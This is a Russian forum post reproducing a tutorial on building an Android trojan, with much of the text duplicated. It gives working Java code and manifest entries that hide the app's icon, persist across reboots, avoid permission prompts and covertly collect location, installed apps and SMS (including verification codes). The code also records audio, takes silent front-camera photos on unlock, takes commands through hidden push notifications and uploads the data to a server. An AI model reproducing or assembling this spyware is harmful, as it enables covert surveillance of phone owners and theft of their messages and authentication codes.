HHIDE_DUMP
Гость
H
HHIDE_DUMP
Гость
Как хакеры создают трояны для Андроид?
1 Как написать троян на Андроид
2 Каркас
3 Информация о местоположении
4 Список установленных приложений
5 Дамп СМС
6 Скрытая запись аудио
7 Скрытая съемка
8 Складываем все вместе
9 Задания по расписанию
10 Снимок при включении экрана
11 Запуск при загрузке
12 Запись аудио по команде
13 Отправка данных на сервер
14 Выводы
Android принято называть рассадником вредоносных программ. Каждый день здесь выявляют более 8 тысяч новых образцов вирусов. И эти цифры постоянно растут.
Но задумывались ли вы, как эти вредоносные программы работают? Сегодня мы разберемся с этим, изучив приложение для Android, способное собирать информацию об устройстве, его местоположении, делать фотографии и записывать аудио. И все это с удаленным управлением.
Как написать троян на Андроид
Итак, наша цель — разобраться, как работают современные зловредные приложения. А лучший способ это сделать — посмотреть, как создается похожий софт. Как и боевой троян, наш пример при желании сможет наблюдать и передавать информацию о целевом устройстве на сервер.
Возможности трояна будут следующие:
По понятным причинам я не смогу привести полный код приложения в статье, поэтому некоторые задачи вам придется выполнить самим (для этого потребуются кое-какие знания в разработке приложений для Android).
Каркас
На этом этапе задача следующая: создать приложение с пустым (или просто безобидным) интерфейсом. Сразу после запуска приложение скроет свою иконку, запустит сервис и завершится (сервис при этом будет продолжать работать).
Начнем. Создайте приложение, указав в манифесте следующие разрешения:
Код:
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.CAMERA" />
<uses-permission android:name="android.permission.RECORD_AUDIO" />
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS" />
<uses-permission android:name="android.permission.READ_CONTACTS" />
<uses-permission android:name="android.permission.READ_SMS" />
В «build.gradle» укажите «compileSdkVersion 22» и «targetSdkVersion 22». Так вы избавите приложение от необходимости запрашивать разрешения во время работы (22 — это Android 5.1, обязательный запрос разрешений появился в 23 — Android 6.0, но работать приложение будет в любой версии).
Теперь создайте пустую Activity и Service. В метод «onStartCommand» сервиса добавьте строку «return Service.START_STICKY». Это заставит систему перезапускать его в случае непреднамеренного завершения.
Добавьте их описание в манифест (здесь и далее наше приложение будет называться com.example.app):
Код:
<activity
android:name="com.example.app.MainActivity"
android:label="@string/app_name" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<service
android:name="com.example.app.MainService"
android:enabled="true"
android:exported="false">
</service>
Всю злобную работу мы будем делать внутри сервиса, поэтому наша Activity будет очень проста:
Код:
void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState)
// Запускаем сервис
startService(new Intent(this, MainService.class));
// Отключаем Activtiy
ComponentName cn = new ComponentName("com.example.app", "com.example.app.MainActivity");
pm.setComponentEnabledSetting(cn, PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
}
Этот код запустит сервис сразу после запуска приложения и отключит активность. Побочным эффектом последнего действия станет завершение приложения и исчезновение иконки из лаунчера. Сервис продолжит работу.
Информация о местоположении
Теперь мы должны добавить в сервис код, который будет собирать интересующую нас информацию.
Начнем с определения местоположения. В Андроид есть несколько способов получить текущие координаты устройства: GPS, по сотовым вышкам, по WiFi-роутерам. И с каждым из них можно работать двумя способами: либо попросить систему определить текущее местоположение и вызвать по окончании операции наш колбэк, либо спросить ОС о том, какие координаты были получены в последний раз (в результате запросов на определение местоположения от других приложений, например).
В нашем случае второй способ намного удобнее. Он быстрый, абсолютно незаметен для пользователя (не приводит к появлению иконки в строке состояния) и не жрет аккумулятор. Кроме того, его очень просто использовать:
Код:
Location getLastLocation(Context context) {
LocationManager lManager = (LocationManager) context.getSystemService(Context.LOCATION_SERVICE);
android.location.Location locationGPS = lManager.getLastKnownLocation(LocationManager.GPS_PROVIDER);
android.location.Location locationNet = lManager.getLastKnownLocation(LocationManager.NETWORK_PROVIDER);
long GPSLocationTime = 0;
if (null != locationGPS) { GPSLocationTime = locationGPS.getTime(); }
long NetLocationTime = 0;
if (null != locationNet) { NetLocationTime = locationNet.getTime(); }
Location loc;
if ( 0 < GPSLocationTime - NetLocationTime ) {
loc = locationGPS;
} else {
loc = locationNet;
}
if (loc != null) {
return loc;
} else {
return null;
}
}
Данная функция спрашивает систему о последних координатах, полученных с помощью определения местоположения по сотовым вышкам и по GPS, затем берет самые свежие данные и возвращает их в форме объекта Location.
Далее можно извлечь широту и долготу и записать их в файл внутри приватного каталога нашего приложения:
Код:
Location loc = getLastKnownLocation(context)
String locationFile = context.getApplicationInfo().dataDir + "/location"
try {
OutputStreamWriter outputStreamWriter = new OutputStreamWriter(context.openFileOutput(locationFile, Context.MODE_PRIVATE));
outputStreamWriter.write(loc.getLatitude() + " " + loc.getLongitude);
outputStreamWriter.close();
}
catch (IOException e) {}
Когда придет время отправлять данные на сервер, мы просто отдадим ему этот и другие файлы.
Список установленных приложений
Получить список установленных приложений еще проще:
Код:
void dumpSMS(Context context) {
String appsFile = context.getApplicationInfo().dataDir + "/apps"
final PackageManager pm = context.getPackageManager();
List<ApplicationInfo> packages = pm.getInstalledApplications(PackageManager.GET_META_DATA);
try {
PrintWriter pw = Files.writeLines(appsFile);
for (ApplicationInfo packageInfo : packages) {
if (!isSystemPackage(packageInfo))
pw.println(pm.getApplicationLabel(packageInfo) + ": " + packageInfo.packageName);
}
pw.close();
} catch (IOException e) {}
}
private boolean isSystemPackage(ApplicationInfo applicationInfo) {
return ((applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM) != 0);
}
Метод получает список всех приложений и сохраняет его в файл apps внутри приватного каталога приложения.
Дамп СМС
Уже сложнее. Чтобы получить список всех сохраненных СМС, нам необходимо подключиться к БД и пройтись по ней в поисках нужных записей. Код, позволяющий дампнуть все СМС в файл:
Код:
void dumpSMS(Context context, String file, String box) {
SimpleDateFormat formatter = new SimpleDateFormat("yyyy.MM.dd HH:mm:ss", Locale.US);
Cursor cursor = context.getContentResolver().query(Uri.parse("content://sms/" + box), null, null, null, null);
try {
PrintWriter pw = Files.writeLines(file);
if (cursor != null && cursor.moveToFirst()) {
do {
String address = null;
String date = null;
String body = null;
for (int idx = 0; idx < cursor.getColumnCount(); idx++) {
switch (cursor.getColumnName(idx)) {
case "address":
address = cursor.getString(idx);
break;
case "date":
date = cursor.getString(idx);
break;
case "body":
body = cursor.getString(idx);
}
}
if (box.equals("inbox")) {
pw.println("From: " + address);
} else {
pw.println("To: " + address);
}
String dateString = formatter.format(new Date(Long.valueOf(date)));
pw.println("Date: " + dateString);
if (body != null) {
pw.println("Body: " + body.replace('\n', ' '));
} else {
pw.println("Body: ");
}
pw.println();
} while (cursor.moveToNext());
}
pw.close();
cursor.close();
} catch (Exception e) {}
}
Использовать его следует так:
Код:
// Сохраняем список всех полученных СМС
String inboxFile = context.getApplicationInfo().dataDir + "/sms_inbox"
dumpSMS(context, inboxFile, "inbox");
// Сохраняем список отправленных СМС
String sentFile = context.getApplicationInfo().dataDir + "/sms_sent";
dumpSMS(context, sentFile, "sent");
Записи в файле будут выглядеть примерно так:
Код:
From: Google
Date: 2017.02.24 06:49:55
Body: G-732583 is your Google verification code.
Скрытая запись аудио
Записать аудио с микрофона можно с помощью «API MediaRecorder». Достаточно передать ему параметры записи и запустить ее с помощью метода «start()». Остановить запись можно с помощью метода «stop()». Следующий код демонстрирует, как это сделать. В данном случае мы используем отдельный спящий поток, который просыпается по истечении заданного тайм-аута и останавливает запись:
Код:
void recordAudio(String file, final int time) {
MediaRecorder recorder = new MediaRecorder();
recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
recorder.setOutputFile(file);
try {
recorder.prepare();
} catch (IOException e) {}
recorder.start();
Thread timer = new Thread(new Runnable() {
@Override
public void run() {
try {
Thread.sleep(time * 1000);
} catch (InterruptedException e) {
Log.d(TAG, "timer interrupted");
} finally {
recorder.stop();
recorder.release();
}
}
});
timer.start();
}
Использовать его можно, например, так:
Код:
DateFormat formatter = new SimpleDateFormat("yyyy-MM-dd-HH-mm-ss", Locale.US);
Date date = new Date();
String filePrefix = context.getApplicationInfo().dataDir + "/audio-";
recordAudio(filePrefix + formatter.format(date) + ".3gp", 15);
Данный код сделает 15-секундную запись и поместит ее в файл audio-ДАТА-И-ВРЕМЯ.3gp.
Скрытая съемка
С камерой сложнее всего. Во-первых, по-хорошему необходимо уметь работать сразу с двумя API камеры: классическим и Camera2, который появился в Android 5.0 и стал основным в 7.0. Во-вторых, API Camera2 часто работает некорректно в Android 5.0 и даже в Android 5.1, к этому нужно быть готовым. В-третьих, Camera2 — сложный и запутанный API, основанный на колбэках, которые вызываются в момент изменения состояния камеры. В-четвертых, ни в классическом API камеры, ни в Camera2 нет средств для скрытой съемки. Они оба требуют показывать превью, и это ограничение придется обходить с помощью хаков.
Учитывая, что с Camera2 работать намного сложнее, а описать нюансы работы с ней в рамках данной статьи не представляется возможным, я просто приведу весь код класса для скрытой съемки. А вы можете либо использовать его как есть, либо попробуете разобраться с ним самостоятельно (но я предупреждаю: вы попадете в ад):
public class SilentCamera2 {
private Context context;
private CameraDevice device;
private ImageReader imageReader;
private CameraCaptureSession session;
private SurfaceTexture surfaceTexture;
private CameraCharacteristics characteristics;
private Surface previewSurface;
private CaptureRequest.Builder request;
private Handler handler;
private String photosDir;
public SilentCamera2(Context context) {
this.context = context;
}
private final CameraDevice.StateCallback mStateCallback =
new CameraDevice.StateCallback() {
@Override
public void onOpened(CameraDevice cameraDevice) {
device = cameraDevice;
try {
surfaceTexture = new SurfaceTexture(10);
previewSurface = new Surface(surfaceTexture);
List<Surface> surfaceList = new ArrayList<>();
surfaceList.add(previewSurface);
surfaceList.add(imageReader.getSurface());
cameraDevice.createCaptureSession(surfaceList, mCaptureStateCallback, handler);
} catch (Exception e) {
}
}
@Override
public void onDisconnected(CameraDevice cameraDevice) {
}
@Override
public void onError(CameraDevice cameraDevice, int error) {
}
};
private CameraCaptureSession.StateCallback mCaptureStateCallback =
new CameraCaptureSession.StateCallback() {
@Override
public void onConfigured(CameraCaptureSession captureSession) {
session = captureSession;
try {
request = device.createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW);
request.addTarget(previewSurface);
request.set(CaptureRequest.CONTROL_AF_TRIGGER,
CameraMetadata.CONTROL_AF_TRIGGER_START);
captureSession.setRepeatingRequest(request.build(), mCaptureCallback, handler);
} catch (Exception e) {
}
}
@Override
public void onConfigureFailed(CameraCaptureSession mCaptureSession) {}
};
private CameraCaptureSession.CaptureCallback mCaptureCallback =
new CameraCaptureSession.CaptureCallback() {
@Override
public void onCaptureCompleted(CameraCaptureSession session,
CaptureRequest request,
TotalCaptureResult result) {
}
};
private final ImageReader.OnImageAvailableListener mOnImageAvailableListener =
new ImageReader.OnImageAvailableListener() {
@Override
public void onImageAvailable(ImageReader reader) {
DateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd-HH-mm-ss");
Date date = new Date();
String filename = photosDir + "/" + dateFormat.format(date) + ".jpg";
File file = new File(filename);
Image image = imageReader.acquireLatestImage();
try {
ByteBuffer buffer = image.getPlanes()[0].getBuffer();
byte[] bytes = new byte[buffer.remaining()];
buffer.get(bytes);
OutputStream os = new FileOutputStream(file);
os.write(bytes);
image.close();
os.close();
} catch (Exception e) {
e.getStackTrace();
}
closeCamera();
}
};
private void takePicture() {
request.set(CaptureRequest.JPEG_ORIENTATION, getOrientation());
request.addTarget(imageReader.getSurface());
try {
session.capture(request.build(), mCaptureCallback, handler);
} catch (CameraAccessException e) {
}
}
private void closeCamera() {
try {
if (null != session) {
session.abortCaptures();
session.close();
session = null;
}
if (null != device) {
device.close();
device = null;
}
if (null != imageReader) {
imageReader.close();
imageReader = null;
}
if (null != surfaceTexture) {
surfaceTexture.release();
}
} catch (Exception e) {
}
}
public boolean takeSilentPhoto(String cam, String dir) {
photosDir = dir;
int facing;
switch (cam) {
case "front":
facing = CameraCharacteristics.LENS_FACING_FRONT;
break;
case "back":
facing = CameraCharacteristics.LENS_FACING_BACK;
break;
default:
return false;
}
CameraManager manager = (CameraManager)
context.getSystemService(Context.CAMERA_SERVICE);
String cameraId = null;
characteristics = null;
try {
for (String id : manager.getCameraIdList()) {
characteristics = manager.getCameraCharacteristics(id);
Integer currentFacing = characteristics.get(CameraCharacteristics.LENS_FACING);
if (currentFacing != null && currentFacing == facing) {
cameraId = id;
break;
}
}
} catch (Exception e) {
return false;
}
HandlerThread handlerThread = new HandlerThread("CameraBackground");
handlerThread.start();
handler = new Handler(handlerThread.getLooper());
imageReader = ImageReader.newInstance(1920,1080, ImageFormat.JPEG, 2);
imageReader.setOnImageAvailableListener(mOnImageAvailableListener, handler);
try {
manager.openCamera(cameraId, mStateCallback, handler);
// Ждем фокусировку
Thread.sleep(1000);
takePicture();
} catch (Exception e) {
Log.d(TAG, "Can't open camera: " + e.toString());
return false;
}
return true;
}
private int getOrientation() {
WindowManager wm = (WindowManager) context.getSystemService(Context.WINDOW_SERVICE);
int rotation = wm.getDefaultDisplay().getRotation();
int deviceOrientation = 0;
switch(rotation){
case Surface.ROTATION_0:
deviceOrientation = 0;
break;
case Surface.ROTATION_90:
deviceOrientation = 90;
break;
case Surface.ROTATION_180:
deviceOrientation = 180;
break;
case Surface.ROTATION_270:
deviceOrientation = 270;
break;
}
int sensorOrientation = characteristics.get(CameraCharacteristics.SENSOR_ORIENTATION);
deviceOrientation = (deviceOrientation + 45) / 90 * 90;
boolean facingFront = characteristics.get(CameraCharacteristics.LENS_FACING) == CameraCharacteristics.LENS_FACING_FRONT;
if (facingFront) deviceOrientation = -deviceOrientation;
return (sensorOrientation + deviceOrientation + 360) % 360;
}
}
Этот код следует вызывать в отдельном потоке, передав в качестве аргументов место расположения камеры («front» — передняя, «back» — задняя) и каталог, в который будут сохранены фотографии. В качестве имен файлов будет использована текущая дата и время.
Код:
String cameraDir = context.getApplicationInfo().dataDir + "/camera/"
camera.takeSilentPhoto("front", cameraDir);
Складываем все вместе
С этого момента у нас есть каркас приложения, который запускает сервис и скрывает свое присутствие. Есть набор функций и классов, которые позволяют собирать информацию о смартфоне и его владельце, а также скрыто записывать аудио и делать фото. Теперь нужно разобраться, когда и при каких обстоятельствах их вызывать.
Если мы просто засунем вызов всех этих функций в сервис, то получим бесполезное «одноразовое приложение». Сразу после запуска оно узнает информацию о местоположении, получит список приложений, СМС, сделает запись аудио, снимок, сохранит все это в файлы в своем приватном каталоге и уснет. Оно даже не запустится после перезагрузки.
Гораздо более полезным оно станет, если определение местоположения, дамп приложений и СМС будет происходить по расписанию (допустим, раз в полчаса), снимок экрана — при каждом включении устройства, а запись аудио — по команде с сервера.
Задания по расписанию
Чтобы заставить Android выполнять код нашего приложения через определенные интервалы времени, можно использовать AlarmManager. Для начала напишем такой класс:
Код:
public class Alarm extends BroadcastReceiver {
public static void set(Context context) {
AlarmManager am = (AlarmManager) context.getSystemService(Context.ALARM_SERVICE);
Intent intent = new Intent(context, Alarm.class);
PendingIntent pIntent = PendingIntent.getBroadcast(context, 0, intent, 0);
am.setInexactRepeating(AlarmManager.ELAPSED_REALTIME_WAKEUP, SystemClock.elapsedRealtime(), 30 * 60 * 1000, pIntent);
}
@Override
public void onReceive(Context context, Intent intent) {
// Твой код здесь
}
}
Метод «set()» установит «будильник», срабатывающий каждые тридцать минут и запускающий метод «onReceive()». Именно в него вы должны поместить код, скидывающий местоположение, СМС и список приложений в файлы.
В метод «onCreate()» сервиса добавьте следующую строку:
Код:
1
Alarm.set(this)
Снимок при включении экрана
Бессмысленно делать снимок каждые полчаса. Гораздо полезнее делать снимок передней камерой при разблокировке смартфона (сразу видно, кто его использует). Чтобы реализовать такое, создайте класс ScreenOnReceiver:
Код:
class ScreenOnReceiver extends BroadcastReceiver() {
@Override
void onReceive(Context context, Intent intent) {
// Ваш код здесь
}
}
И добавьте в манифест следующие строки:
Код:
<receiver android:name="com.example.app.ScreenOnReceiver">
<intent-filter>
<action android:name="android.intent.action.ACTION_SCREEN_ON" />
</intent-filter>
</receiver>
Запуск при загрузке
В данный момент у нашего приложения есть одна большая проблема — оно будет работать ровно до тех пор, пока юзер не перезагрузит смартфон. Чтобы перезапускать сервис при загрузке смартфона, создадим еще один ресивер:
Код:
class BootReceiver extends BroadcastReceiver() {
@Override
void onReceive(Context context, Intent intent) {
Intent serviceIntent = new Intent(this, MainService.class);
startService(serviceIntent);
}
}
И опять же добавим его в манифест:
Код:
<receiver android:name="com.example.BootReceiver">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED" />
</intent-filter>
</receiver>
Запись аудио по команде
С этим немного сложнее. Самый простой способ отдать команду нашему трояну — записать ее в обычный текстовый файл и выложить этот файл на сервере. Затем поместить в сервис код, который будет, допустим, каждую минуту чекать сервер на наличие файла и выполнять записанную в нем команду.
В коде это может выглядеть примерно так:
Код:
String url = "
OkHttpClient client = new OkHttpClient();
Request request = new Request.Builder().url(url).build();
while (true) {
Response response = client.newCall(request).execute();
String cmd = response.body().string();
cmd = cmd.trim()
if (cmd.equals("record")) {
// Делаем аудиозапись
}
try {
Thread.sleep(60 * 1000);
} catch (InterruptedException e) {}
}
Конечно же, у этого кода есть проблема — если вы один раз запишете команду в файл на сервере, троян будет выполнять ее каждую минуту. Чтобы этого избежать, достаточно добавить в файл числовой префикс в формате «X:команда» и увеличивать этот префикс при каждой записи команды. Троян же должен сохранять это число и выполнять команду только в том случае, если оно увеличилось.
Гораздо хуже, что ваш троян будет заметно жрать батарею. А Андроид (начиная с шестой версии) будет его в этом ограничивать, закрывая доступ в интернет.
Чтобы избежать этих проблем, можно использовать сервис push-уведомлений. OneSignal отлично подходит на эту роль. Он бесплатен и очень прост в использовании. Зарегистрируйтесь в сервисе, добавьте новое приложение и следуйте инструкциям, в конце ван скажут, какие строки необходимо добавить в build.gradle приложения, а также попросят создать класс вроде этого:
Код:
class App extends Application {
@Override
public void onCreate() {
super.onCreate()
OneSignal.startInit(this).init()
}
}
Но это еще не все. Также ван нужен сервис — обработчик push-уведомлений, который будет принимать их и выполнять действия в зависимости от содержащихся в push-уведомлении данных:
Код:
class OSService extends NotificationExtenderService {
@Override
protected boolean onNotificationProcessing(OSNotificationReceivedResult receivedResult) {
String cmd = receivedResult.payload.body.trim()
if (cmd.equals("record")) {
// Делаем аудиозапись
}
// Не показывать уведомление
return true
}
}
Этот код трактует содержащуюся в уведомлении строку как команду и, если эта команда — record, выполняет нужный нам код. Само уведомление не появится на экране, поэтому пользователь ничего не заметит.
Последний штрих — добавим сервис в манифест:
Код:
<service
android:name="org.antrack.app.service.OSService"
android:exported="false">
<intent-filter>
<action android:name="com.onesignal.NotificationExtender" />
</intent-filter>
</service>
Отправка данных на сервер
На протяжении всей статьи мы обсуждали, как собрать данные и сохранить их в файлы внутри приватного каталога. И теперь мы готовы залить эти данные на сервер. Сделать это не так уж сложно, вот, например, как можно отправить на сервер нашу фотку:
Код:
private static final MediaType MEDIA_TYPE_JPEG = MediaType.parse("image/jpeg");
public void uploadImage(File image, String imageName) throws IOException {
OkHttpClient client = new OkHttpClient();
RequestBody requestBody = new MultipartBody.Builder().setType(MultipartBody.FORM)
.addFormDataPart("file", imageName, RequestBody.create(MEDIA_TYPE_JPEG, image))
.build();
Request request = new Request.Builder().url("
.post(requestBody).build();
Response response = client.newCall(request).execute();
}
Вызывать этот метод нужно из метода «onReceive()» класса Alarm, чтобы каждые тридцать минут приложение отправляло новые файлы на сервер. Отправленные файлы следует удалять.
Ну и конечно же, на стороне сервера вам необходимо реализовать хендлер, который будет обрабатывать аплоады. Как это сделать, сильно зависит от того, какой фреймворк и сервер вы используете.
Выводы
Android — очень дружелюбная к разработчикам сторонних приложений ОС. Поэтому создать троян здесь можно, используя стандартный API. Более того, с помощью того же API его иконку можно скрыть из списка приложений и заставить работать в фоне, незаметно для пользователя.
Имейте ввиду! Андроид 8 хоть и позволяет собранным для более ранних версий Android приложениям работать в фоне, но выводит об этом уведомление.
На этом все. Теперь вы знаете как хакеры создают трояны для Андроид.
1 Как написать троян на Андроид
2 Каркас
3 Информация о местоположении
4 Список установленных приложений
5 Дамп СМС
6 Скрытая запись аудио
7 Скрытая съемка
8 Складываем все вместе
9 Задания по расписанию
10 Снимок при включении экрана
11 Запуск при загрузке
12 Запись аудио по команде
13 Отправка данных на сервер
14 Выводы
Android принято называть рассадником вредоносных программ. Каждый день здесь выявляют более 8 тысяч новых образцов вирусов. И эти цифры постоянно растут.
Но задумывались ли вы, как эти вредоносные программы работают? Сегодня мы разберемся с этим, изучив приложение для Android, способное собирать информацию об устройстве, его местоположении, делать фотографии и записывать аудио. И все это с удаленным управлением.
Как написать троян на Андроид
Итак, наша цель — разобраться, как работают современные зловредные приложения. А лучший способ это сделать — посмотреть, как создается похожий софт. Как и боевой троян, наш пример при желании сможет наблюдать и передавать информацию о целевом устройстве на сервер.
Возможности трояна будут следующие:
- сбор информации о местоположении;
- получение списка установленных приложений;
- получение СМС;
- запись аудио;
- съемка задней или фронтальной камерой.
По понятным причинам я не смогу привести полный код приложения в статье, поэтому некоторые задачи вам придется выполнить самим (для этого потребуются кое-какие знания в разработке приложений для Android).
Каркас
На этом этапе задача следующая: создать приложение с пустым (или просто безобидным) интерфейсом. Сразу после запуска приложение скроет свою иконку, запустит сервис и завершится (сервис при этом будет продолжать работать).
Начнем. Создайте приложение, указав в манифесте следующие разрешения:
Код:
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.CAMERA" />
<uses-permission android:name="android.permission.RECORD_AUDIO" />
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS" />
<uses-permission android:name="android.permission.READ_CONTACTS" />
<uses-permission android:name="android.permission.READ_SMS" />
В «build.gradle» укажите «compileSdkVersion 22» и «targetSdkVersion 22». Так вы избавите приложение от необходимости запрашивать разрешения во время работы (22 — это Android 5.1, обязательный запрос разрешений появился в 23 — Android 6.0, но работать приложение будет в любой версии).
Теперь создайте пустую Activity и Service. В метод «onStartCommand» сервиса добавьте строку «return Service.START_STICKY». Это заставит систему перезапускать его в случае непреднамеренного завершения.
Добавьте их описание в манифест (здесь и далее наше приложение будет называться com.example.app):
Код:
<activity
android:name="com.example.app.MainActivity"
android:label="@string/app_name" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<service
android:name="com.example.app.MainService"
android:enabled="true"
android:exported="false">
</service>
Всю злобную работу мы будем делать внутри сервиса, поэтому наша Activity будет очень проста:
Код:
void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState)
// Запускаем сервис
startService(new Intent(this, MainService.class));
// Отключаем Activtiy
ComponentName cn = new ComponentName("com.example.app", "com.example.app.MainActivity");
pm.setComponentEnabledSetting(cn, PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
}
Этот код запустит сервис сразу после запуска приложения и отключит активность. Побочным эффектом последнего действия станет завершение приложения и исчезновение иконки из лаунчера. Сервис продолжит работу.
Информация о местоположении
Теперь мы должны добавить в сервис код, который будет собирать интересующую нас информацию.
Начнем с определения местоположения. В Андроид есть несколько способов получить текущие координаты устройства: GPS, по сотовым вышкам, по WiFi-роутерам. И с каждым из них можно работать двумя способами: либо попросить систему определить текущее местоположение и вызвать по окончании операции наш колбэк, либо спросить ОС о том, какие координаты были получены в последний раз (в результате запросов на определение местоположения от других приложений, например).
В нашем случае второй способ намного удобнее. Он быстрый, абсолютно незаметен для пользователя (не приводит к появлению иконки в строке состояния) и не жрет аккумулятор. Кроме того, его очень просто использовать:
Код:
Location getLastLocation(Context context) {
LocationManager lManager = (LocationManager) context.getSystemService(Context.LOCATION_SERVICE);
android.location.Location locationGPS = lManager.getLastKnownLocation(LocationManager.GPS_PROVIDER);
android.location.Location locationNet = lManager.getLastKnownLocation(LocationManager.NETWORK_PROVIDER);
long GPSLocationTime = 0;
if (null != locationGPS) { GPSLocationTime = locationGPS.getTime(); }
long NetLocationTime = 0;
if (null != locationNet) { NetLocationTime = locationNet.getTime(); }
Location loc;
if ( 0 < GPSLocationTime - NetLocationTime ) {
loc = locationGPS;
} else {
loc = locationNet;
}
if (loc != null) {
return loc;
} else {
return null;
}
}
Данная функция спрашивает систему о последних координатах, полученных с помощью определения местоположения по сотовым вышкам и по GPS, затем берет самые свежие данные и возвращает их в форме объекта Location.
Далее можно извлечь широту и долготу и записать их в файл внутри приватного каталога нашего приложения:
Код:
Location loc = getLastKnownLocation(context)
String locationFile = context.getApplicationInfo().dataDir + "/location"
try {
OutputStreamWriter outputStreamWriter = new OutputStreamWriter(context.openFileOutput(locationFile, Context.MODE_PRIVATE));
outputStreamWriter.write(loc.getLatitude() + " " + loc.getLongitude);
outputStreamWriter.close();
}
catch (IOException e) {}
Когда придет время отправлять данные на сервер, мы просто отдадим ему этот и другие файлы.
Список установленных приложений
Получить список установленных приложений еще проще:
Код:
void dumpSMS(Context context) {
String appsFile = context.getApplicationInfo().dataDir + "/apps"
final PackageManager pm = context.getPackageManager();
List<ApplicationInfo> packages = pm.getInstalledApplications(PackageManager.GET_META_DATA);
try {
PrintWriter pw = Files.writeLines(appsFile);
for (ApplicationInfo packageInfo : packages) {
if (!isSystemPackage(packageInfo))
pw.println(pm.getApplicationLabel(packageInfo) + ": " + packageInfo.packageName);
}
pw.close();
} catch (IOException e) {}
}
private boolean isSystemPackage(ApplicationInfo applicationInfo) {
return ((applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM) != 0);
}
Метод получает список всех приложений и сохраняет его в файл apps внутри приватного каталога приложения.
Дамп СМС
Уже сложнее. Чтобы получить список всех сохраненных СМС, нам необходимо подключиться к БД и пройтись по ней в поисках нужных записей. Код, позволяющий дампнуть все СМС в файл:
Код:
void dumpSMS(Context context, String file, String box) {
SimpleDateFormat formatter = new SimpleDateFormat("yyyy.MM.dd HH:mm:ss", Locale.US);
Cursor cursor = context.getContentResolver().query(Uri.parse("content://sms/" + box), null, null, null, null);
try {
PrintWriter pw = Files.writeLines(file);
if (cursor != null && cursor.moveToFirst()) {
do {
String address = null;
String date = null;
String body = null;
for (int idx = 0; idx < cursor.getColumnCount(); idx++) {
switch (cursor.getColumnName(idx)) {
case "address":
address = cursor.getString(idx);
break;
case "date":
date = cursor.getString(idx);
break;
case "body":
body = cursor.getString(idx);
}
}
if (box.equals("inbox")) {
pw.println("From: " + address);
} else {
pw.println("To: " + address);
}
String dateString = formatter.format(new Date(Long.valueOf(date)));
pw.println("Date: " + dateString);
if (body != null) {
pw.println("Body: " + body.replace('\n', ' '));
} else {
pw.println("Body: ");
}
pw.println();
} while (cursor.moveToNext());
}
pw.close();
cursor.close();
} catch (Exception e) {}
}
Использовать его следует так:
Код:
// Сохраняем список всех полученных СМС
String inboxFile = context.getApplicationInfo().dataDir + "/sms_inbox"
dumpSMS(context, inboxFile, "inbox");
// Сохраняем список отправленных СМС
String sentFile = context.getApplicationInfo().dataDir + "/sms_sent";
dumpSMS(context, sentFile, "sent");
Записи в файле будут выглядеть примерно так:
Код:
From: Google
Date: 2017.02.24 06:49:55
Body: G-732583 is your Google verification code.
Скрытая запись аудио
Записать аудио с микрофона можно с помощью «API MediaRecorder». Достаточно передать ему параметры записи и запустить ее с помощью метода «start()». Остановить запись можно с помощью метода «stop()». Следующий код демонстрирует, как это сделать. В данном случае мы используем отдельный спящий поток, который просыпается по истечении заданного тайм-аута и останавливает запись:
Код:
void recordAudio(String file, final int time) {
MediaRecorder recorder = new MediaRecorder();
recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
recorder.setOutputFile(file);
try {
recorder.prepare();
} catch (IOException e) {}
recorder.start();
Thread timer = new Thread(new Runnable() {
@Override
public void run() {
try {
Thread.sleep(time * 1000);
} catch (InterruptedException e) {
Log.d(TAG, "timer interrupted");
} finally {
recorder.stop();
recorder.release();
}
}
});
timer.start();
}
Использовать его можно, например, так:
Код:
DateFormat formatter = new SimpleDateFormat("yyyy-MM-dd-HH-mm-ss", Locale.US);
Date date = new Date();
String filePrefix = context.getApplicationInfo().dataDir + "/audio-";
recordAudio(filePrefix + formatter.format(date) + ".3gp", 15);
Данный код сделает 15-секундную запись и поместит ее в файл audio-ДАТА-И-ВРЕМЯ.3gp.
Скрытая съемка
С камерой сложнее всего. Во-первых, по-хорошему необходимо уметь работать сразу с двумя API камеры: классическим и Camera2, который появился в Android 5.0 и стал основным в 7.0. Во-вторых, API Camera2 часто работает некорректно в Android 5.0 и даже в Android 5.1, к этому нужно быть готовым. В-третьих, Camera2 — сложный и запутанный API, основанный на колбэках, которые вызываются в момент изменения состояния камеры. В-четвертых, ни в классическом API камеры, ни в Camera2 нет средств для скрытой съемки. Они оба требуют показывать превью, и это ограничение придется обходить с помощью хаков.
